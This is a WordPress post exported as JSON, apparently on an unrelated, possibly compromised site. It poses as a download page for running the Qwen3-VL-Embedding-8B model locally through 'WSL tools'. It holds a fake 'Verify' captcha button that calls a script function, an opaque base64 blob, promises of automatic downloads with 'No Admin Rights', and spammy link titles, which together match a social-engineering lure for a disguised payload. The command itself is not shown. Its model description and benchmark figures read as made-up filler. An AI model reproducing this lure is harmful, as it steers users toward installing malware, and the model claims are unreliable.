aAzGHkLvyLJQ2MtDkELAtB\/iufbvXUpsyhwyoP\/4w9v1fxGeZoa8MckVs\/gErDyjz0UY6xSPamKasq\/RdPo8vah2FvvvdXBxX3jlZ0\/Y5FVhB7VQZ9J+GbRWJnVhCaKdASUr32dKYkUzhqUyiZAP1TE91tMXbqbTTBBY3iutD9AZvIzAHgwgdRUVtCzaM1WI42W9X63rtQ8STUappyr\/cFtAnFWMSZQwj9jVFR4ZcnbPQWQZqtkF5jgWmKbE+f1XmfBCZh9qe7J6iCjT1ECT8hkPQm72qnB2C3fGgl9H7mJ5AqKJRKXhODd2otAutFRTwx17td5498xhlxqJtq\/DW5hfJnFFrA\/PkP9otbGxQ\/QcA1u+gvi+IoqjiRh9arzyVSL+XxQhg6dIxngXI23AAAAAAADA8EOdCZtdYItorl5UpaGmqe4ePNWWztKDZdSWJr\/jEQkr9nofwaIjytrpPgN7hALNrGlbk1wDQoFHk45a2ObuXE+8XKUIkV3+X6LdbT\/UiFMVzm8JWici4tBqoGovT7o2N4rPMkR\/Wc4oJUKHtfacg8xBk21zrvsgm067cdoXbvvqKvh0HMcxK1A7XnQlVMH8je05JP1hfdcWvgTZZRdZlJgcgsiG2+V0kxx21Zj5zzxR0r+fSW5GcnDbwT0oPbGV7CGofZDfS69P+O1zQBTSyJeBXdTMIgAGIqOsMcpEb6E7lx8B8zkER23QL3wQO\/7qnV6fpimhcoQczkpLpsIDcETmlWCMO9n6Sj7lo4dfJ+ZRtFnnxwtLp5gx\/pbX4FgjB6qZz7fAmTj1+AXIe5FHVwPDKpxbGf2YuqRm+wdp+13IZouVsd0kFXR0sswBNmvSLDIPUEox16ZsCzXe9qvsHo3tvujqQ6a0Xmom4HsW8MxZWxUdyAC+lYO9b7J78rVM90m5AsTVdxX304KETSaExecbfkjdktzZ8Ee48wQhsxbI5GhFtFFgRD0m7cFW9\/gfCqhaTJk8GlCqu1XsZXPEPE08sZGCh8JmpsvWrRcoscKQfTHtJ4\/yhYt\/U4Xjs9G2fGUZ2rSN3AeF1tZEHyl25n7mhCtrW\/VmOrZUbel+mrPX+YjdLM0gADOwkVZzVmv8CTCuoR\/xzUJICk8xGg+YKO7ZMhB5hxkZur1PnhieXkKW2izcPGu1JGGxl18HGOrSqPnYWAhcL6A1Cz4OniUCP4uCFRHsSB+JXrr8NTtkXh5kaRzsyWbFl3iOzvKy96ShAwSWu2Mx+D2gbv68cYzDi1ndAbe1cGroRJVfD1Y3mHxdXTBj9woXQ0KAAA0fBhAEmhKRfXbDD1lf20mhHU3CzQvRk5L9r2Dge7cG3z41qzgT\/ztq70ylD8AszGapPkpaC6Eov1wYUmyeKJeuFEpzsb19uJyT5NUm\/YKnyDcshIztvSTMcke29IG2hqVAvJWMsn6vHU1f6o\/LjgfjnY6wvLj7kjYsfpdQKG1G1qO\/LXm5J6CVpwPRYsOs1p57OyoOmxEGILnliFBBnBiyi1ek3wzQKaqISXgErMiOVuk3m1lgnmG1Vj+qJP0e5CtBgp9KCxkLNxFpVLpHvYvInISM8zjgdl5CEdUm0W\/HHeoWorO9Epte85P1KPq3Q\/Ws7YjBqk2OIt6lcFof9AKUfp\/f45xWd33AOqr2Nsj7XfYJiCJCKk40U23Yvo8sNYIg5zFz2cMtpMQj+YpmuCvINVMTeqDeJzSlBQX66uaQ7WB96mjYVHVCtXBjX71A6l5ZPGxbQKEcKfZJB3KxUEy\/0Nzfd2ReCmgvbBVbWWD+n1L6KWrcj5V7aZopkmCUUq5C2ELIVKVfR2IYhGbWWAuA+3n3hWakS4gvo2TV2p7b2uGGMZZqhCUV\/W2QW+BLAvaMu2n9tHGPANI+afDnVe1Jny7TCPHWsxk8VkXGu3\/\/uQb77TGwaex6NSwEAPAgwOt0cLCPgL63\/+rm\/aIPCwSVsXqDuYFvfDYxnkxn9CvejDQUenLYIBCMJsWRQ1nCmkdCVeH7QHHmT82LB60Gdch8A0Ilj8CBEWojQ7+o8zwpIWqOlvAsAvy9Gkb5Ixc3Nj6UgE1ydZEtBuSbBaGpgAAE6wAAbDAVnEV5yJWCOst6WBKeyX0GEaz1bbYcNbAxnrt12iPsnuI60fGMtwWPLJjWnHAoee0sPaqNss+yMY4NHmyUSMx9ZSD1eriwsouOGALqd4053DoUthjFuCx+MHwJD\/2WcHEXPSsQg3PwGeS8Of5LECDIQjE+v6tzBPXzWwTkNXgHsyzr1af+FhtcHTLuPRbuUC48KJcH9kBMoPKClkvmKP4tLn3U9oHedoe91sRg30ejWdg40\/kAw1pV94oAEBDqrPF1pn8dL5gQ2Dy6L8g8lRdqIKjgmbJoFFZ58u9b8AAAfv2AWMewoqNFAPDQLxmGtTKcRDOdqJCoaKNG1VKPzVqB9V2Y1QFbCBbBoZ2SwLhdNWJwzPJS4fLHGOhz4fKDTmkdQe6kIM75fZ7I9SFKc7TOdrm3YtbTEqkaZzETAYuiwNjv3Lzn4zGBXkOhx+53b1kLLhSYg\/PLEqLMePpbXQk51J+XG94AEJ9sTSD\/5Zdw+TYo1ntu4ii\/3FMC7H1uZ9UpOVEeRg9EhStOFSTMhGNveT8vmOHKD4qUZjgFwcakiAA4tElTR+HliM+Y\/qKCKtk5ew4uZH560i+NR+Uw7FQcYbVQp5YwZpDZiYPfvUq6ca8eTh+pC7mfoQbPofFUtjWeQYI5t73jCdOO8Hy19jGpBz+QAN4lGGNNQeMcHRBgintnayEgUongJmaenUm\/fI\/5cnxL\/JCthAHPxwQspHQYny2yOO\/35FC0TWoIX3gAxNz6df+4p\/2G+vOo+TADepHABidAyI1MXPCRKhx8wn2pt9+MXt6D8yA2ey5o\/xkSZjkYq\/KxvDB14grtElkTp0VeFkajtelbJrbGYdb4jrecWaRvMR2o3vlQltGtCF\/ctHRdrmghhZqGyKzyRL4k7euxuicq08yo8Y+u14jDNGMrhma955pwlTyzPdnCheRhj0reZUQmaoOJ9EnTHNCnxhWU2hGfZyd13E\/cjCvFOABIkqudGFf\/TWyXtdXApAjO0\/klsyiyDeiqy2noUl\/l6q++CW1yUeQXaNVzurRkDtsvF8G8WJEICiL1YTkL70bxFTDtp5wGxORR3CrMCwK0rqjuiyaVvcskmeLEX2FO4mTuzLQEOqT2PghHc7d8GkKXgB\/IBSV\/KL8KgCWBcjtYsIyfM6nWti3IC6bsYHqOEwITznitIYp7rNEvVkUX\/MBEGFb0wBDrLGnKoohVd4u20LpEMUJYcdi1+8jVwTWtHoi2FnR2E2\/ftUl9TvH80pZqF82g4rCIER5MRCjVZiv4DpUKNKoFBbkJ5ao2l026B0EW95Lg09msJEhebCj37DGO\/ZW0WY05cEk9cYUf4pBQ0KYVcWg9143L9+3G4si9oiN7Xvd7qQH9RLRV6zPHoVUtu+cSbDU\/znjdD1OZPAhfZFNGnPHeYt5hwk+d7H1PkQLL4FCgyIyAb4dtFDOVlYL7Ad4yqvIFTtoJT3LeUQZVyTiGtZouE2mDuv3\/6KSJlD8S9dRJQ3BQzj34OFhPvoU\/sQoxvQF155+v\/w18AVP9ZAcgqARGb7b63T7VVPbJsurwxY846TeljxJjOPVr8rMLDiIyP8ZXY25ACweJBO8eXU9iq+ux6a8GVdOnHNpUhxqygypR+jKc8tz02T1UbVRr1FF7ZjS7MI\/KiknhlHwH7dCn8+k9xsc+Ca0U\/xQFXaOriRNu4wwOJWPaDTxUdUqRt7xNxUZFBn1BVtZOl1t1gIHG8O6aTh14IQix1pqDasd29dX3sZtk1AiU6Pq0SiZ6UvhjIi31Rdk9s8hqx2P155RKn1lI+sZjUg2Y8foi7ylNayiwKSW1QDVDy6LTlFNvd29Nzmm1zI5ftkEV22C2oHTKGWwIYAUvH7lWABR0cvDoM08bXNzS+lMtRqw9ja48A8hYzqboLtPVDAudyf4hL3UjtsrZpCvqqxy97Z\/dHjva4Si72TWDGYJe8PiWXp\/rOX9opVDwi0hGQ9v9zzaMskDoBF2RrAJ6NZTOOI1wMQzI7mkJUoEo3U4qz0SJj7yoi54SR1DS7+\/8rLIzaMfHQ2hBMkK6K\/vXKx9uXaK+2dptEd3c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alt=\"Qwen3-VL-Embedding-8B via WebGPU (Browser) Full Speed NPU Mode\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To get this model running locally in <i>no time<\/i>, utilize the built-in <b>WSL tools<\/b>.<\/p>\n<p>Refer to the <b>instructions below<\/b> to proceed.<\/p>\n<p> <\/p>\n<p><i>Everything happens automatically, including the heavy cloud asset download.<\/i><\/p>\n<p> <\/p>\n<p>An automated hardware sweep ensures the system will <b>select the best tuning parameters<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3-VL-Embedding-8B<\/b> is a large-scale vision-language embedding model that leverages transformer architecture to generate unified representations for images and text. It achieves <i>state-of-the-art<\/i> performance on benchmark datasets such as <i>ImageNet<\/i> and <i>MSCOCO<\/i> while maintaining a compact footprint of <b>8\u202fB parameters<\/b>. The model integrates a <b>vision encoder<\/b> that processes high\u2011resolution inputs and a <b>language decoder<\/b> that aligns semantic contexts through contrastive learning. Its training pipeline combines <i>self\u2011supervised<\/i> image captioning and cross\u2011modal retrieval, enabling zero\u2011shot generalization to unseen domains. Compared to earlier embedding models, Qwen3-VL-Embedding-8B delivers <b>15\u202f% higher retrieval accuracy<\/b> and <b>20\u202f% faster inference<\/b> on standard hardware. This model is well\u2011suited for downstream tasks such as visual question answering, document indexing, and multimodal search.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>8\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Input modalities<\/b><\/td>\n<td>Images, text<\/td>\n<\/tr>\n<tr>\n<td><b>Training data<\/b><\/td>\n<td>Public image\u2011caption pairs + text corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Benchmark (Recall@1)<\/b><\/td>\n<td>78.3\u202f% on MSCOCO<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Downloader pulling compact 2-bit quantization variants for rapid text synthesis prototyping<\/li>\n<li>Qwen3-VL-Embedding-8B Locally via Ollama 2 No Admin Rights 5-Minute Setup<\/li>\n<li>Script automating parallel down-streaming of sharded Hugging Face model chunks<\/li>\n<li>Qwen3-VL-Embedding-8B No Python Required FREE<\/li>\n<li>Script downloading IP-Adapter-Plus weights for local character design<\/li>\n<li>Quick Run Qwen3-VL-Embedding-8B Zero Config FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>To get this model running locally in no time, utilize the built-in WSL tools. Refer to the instructions below to proceed. Everything happens automatically, including the heavy cloud asset download. An automated hardware sweep ensures the system will select the best tuning parameters. \ud83d\udd10 Hash sum: 36ee0965c8a2f41c8eef52343552baca | \ud83d\udcc5 Last update: 2026-07-06 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: 32 GB or higher for smooth 32k context lengths Storage: extra room for future model updates and datasets Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration The Qwen3-VL-Embedding-8B is a large-scale vision-language embedding model that leverages transformer architecture to generate unified representations for images and text. It achieves state-of-the-art performance on benchmark datasets such as ImageNet and MSCOCO while maintaining a compact footprint of 8\u202fB parameters. The model integrates a vision encoder that processes high\u2011resolution inputs and a language decoder that aligns semantic contexts through contrastive learning. Its training pipeline combines self\u2011supervised image captioning and cross\u2011modal retrieval, enabling zero\u2011shot generalization to unseen domains. Compared to earlier embedding models, Qwen3-VL-Embedding-8B delivers 15\u202f% higher retrieval accuracy and 20\u202f% faster inference on standard hardware. This model is well\u2011suited for downstream tasks such as visual question answering, document indexing, and multimodal search. Parameters 8\u202fB Input modalities Images, text Training data Public image\u2011caption pairs + text corpora Benchmark (Recall@1) 78.3\u202f% on MSCOCO Downloader pulling compact 2-bit quantization variants for rapid text synthesis prototyping Qwen3-VL-Embedding-8B Locally via Ollama 2 No Admin Rights 5-Minute Setup Script automating parallel down-streaming of sharded Hugging Face model chunks Qwen3-VL-Embedding-8B No Python Required FREE Script downloading IP-Adapter-Plus weights for local character design Quick Run Qwen3-VL-Embedding-8B Zero Config FREE<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-2309","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/comments?post=2309"}],"version-history":[{"count":1,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2309\/revisions"}],"predecessor-version":[{"id":2310,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2309\/revisions\/2310"}],"wp:attachment":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/media?parent=2309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/categories?post=2309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/tags?post=2309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}